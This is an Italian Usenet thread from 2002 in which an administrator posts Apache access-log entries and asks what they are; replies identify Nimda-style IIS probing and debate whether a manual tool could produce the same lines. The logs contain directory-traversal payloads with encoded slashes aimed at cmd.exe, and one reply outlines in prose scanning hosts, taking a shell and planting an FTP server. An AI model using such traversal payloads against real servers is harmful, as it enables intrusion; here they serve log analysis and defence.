Newsgroup: it.comp.sicurezza.unix
Titolo: intrusione tentata su apache ?

ho trovato negli access_log di apache questo :
172.192.215.62 - - [23/Apr/2002:11:15:31 +0200] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 282 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:32 +0200] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 280 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:33 +0200] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:35 +0200] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:36 +0200] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:40 +0200] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 321 $
172.192.215.62 - - [23/Apr/2002:11:15:41 +0200] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 321 $
172.192.215.62 - - [23/Apr/2002:11:15:42 +0200] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.e$
172.192.215.62 - - [23/Apr/2002:11:15:43 +0200] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:44 +0200] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:46 +0200] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:47 +0200] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:48 +0200] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:49 +0200] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287 "-" "-"
172.192.215.62 - - [23/Apr/2002:11:15:50 +0200] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 "-"
"-"
172.192.215.62 - - [23/Apr/2002:11:15:51 +0200] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 "-" "-"
secondo voi cosa č ?
ciao e grazie

 ciao e grazie
nimda
-- 
Roberto Tagliaferri<-> r.tagliaferri@(forse)
tosnet.it
	Sentito da una programmatrice:
	"Ma vi capita mai nella vita reale, tipo mentre
	rifate il letto di dire 'Ho sbagliato, pigio ctrl-Z'?"

nimda: quindi essendo il mio webserver apache , non č il mio che č infettato
, ma l'indirizzo di provenienza che lo č!
grazie

> nimda
Potrebbe anche essere un script kiddie che si diverte con qualche t00l...
In ogni caso e' un attacco a vuoto.
--
 ==> Atlantis <==
 Icq # 18752702



Sono le chiamate classiche del nimda (dovrei avere più di 150.000 righe
di log con queste schifezze)




Oui. Eppure sono mesi che esiste la patch.. Un vero sysadmin l'amico che
ci prova!


 di log con queste schifezze)
Si' beh senz' altro e' nimda.
Pero' nimda funziona perche' sfrutta un buco di IIS (quindi non e'
assolutamente il tuo caso) che permette di eseguire del codice (i cmd.exe
all' interno della get).
Pero' esistono anche t00l (nota come lo ho scritto, dovresti capire a chi mi
riferisco) che sfruttano lo stesso buco (e quindi si comportano esattamemte
come nimda): dai log non si riuscirebbe a vedere differenza.
E' vero che non e' il tuo caso, pero' non e' tutto nimda quel che luccica
:-)


 come nimda): dai log non si riuscirebbe a vedere differenza.
Qualcun'altro aveva avanzato questa [ragionevole] ipotesi (whiplash?) ma
non sono riuscito a trovare niente. Magari esiste roba artigianale ma in
questo caso non sono certo script kiddies. E un non-script-kiddie non va
a perdere tempo cercando cmd.exe su un apache.
Morale, il calcolo delle probabilita' mi lascia pensare che si tratti di
nimda.
Fabio

 nimda.
http://209.100.212.5/cgi-bin/search/search.cgi?searchvalue=iis&%5Bsearch%5D
.
x=36&%5Bsearch%5D.y=4
Ti basta?
E' ovvio che il 90% dei log sono riempiti da nimda, pero' e' anche capitato
che qualche furbone che non ha niente da fare si faccia un po' di scan a
destra e a sinistra.
Ad esempio, potrei fare una bella scansione di tutta la mia classe quando mi
collego in ppp, vedo quali server rispondono, controllo se sono bucati,
pesco il primo bucato, ottengo una shell (cmd) e poi faccio quello che
voglio (diciamo gli uploado un ftp server su una porta alta e lo apro rwx su
tutto C:\).
Io preferisco basarmi su questo, e non fidarmi mai.
Se tu ci tieni al calcolo delle probabilita' e ti fidi di quello, sono fatti
tuoi.
Ah... la differenza su log tra nimda e un t00l del genere non la si vede.
La si vede solo con un ids (o per lo meno e' capitato cosi' a me).


 La si vede solo con un ids (o per lo meno e' capitato cosi' a me).
Nel senso che hai ricevuto e loggato attacchi di un tool che emula nimda?
Questo sarebbe interessante da analizzare: non potresti postare qualche
cosa in proposito?
Fabio

 vorrei che fosse stato aggiunto qualcosa).
http://209.100.212.5/cgi-bin/search/search.cgi?searchvalue=iis&%5Bsearch%5D
.
x=36&%5Bsearch%5D.y=4
Guarda, della lista che vedi e' il quarto.


 Guarda, della lista che vedi e' il quarto.
Al quarto posto vedo il vecchio exploit di eEye che sfrutta un buffer
overflow in ism.dll durante l'interpretazione dell'url (retina vs iis4,
bugtraq id 307). Per intenderci e' quello che ha questo hash:
                413ccead4ac8a0f5f1b155a637191d95
Se e' questo il tool che intendi non mi sembra attinente. Quando ho
tempo daro' un'altra occhiata all'elenco ;)
Fabio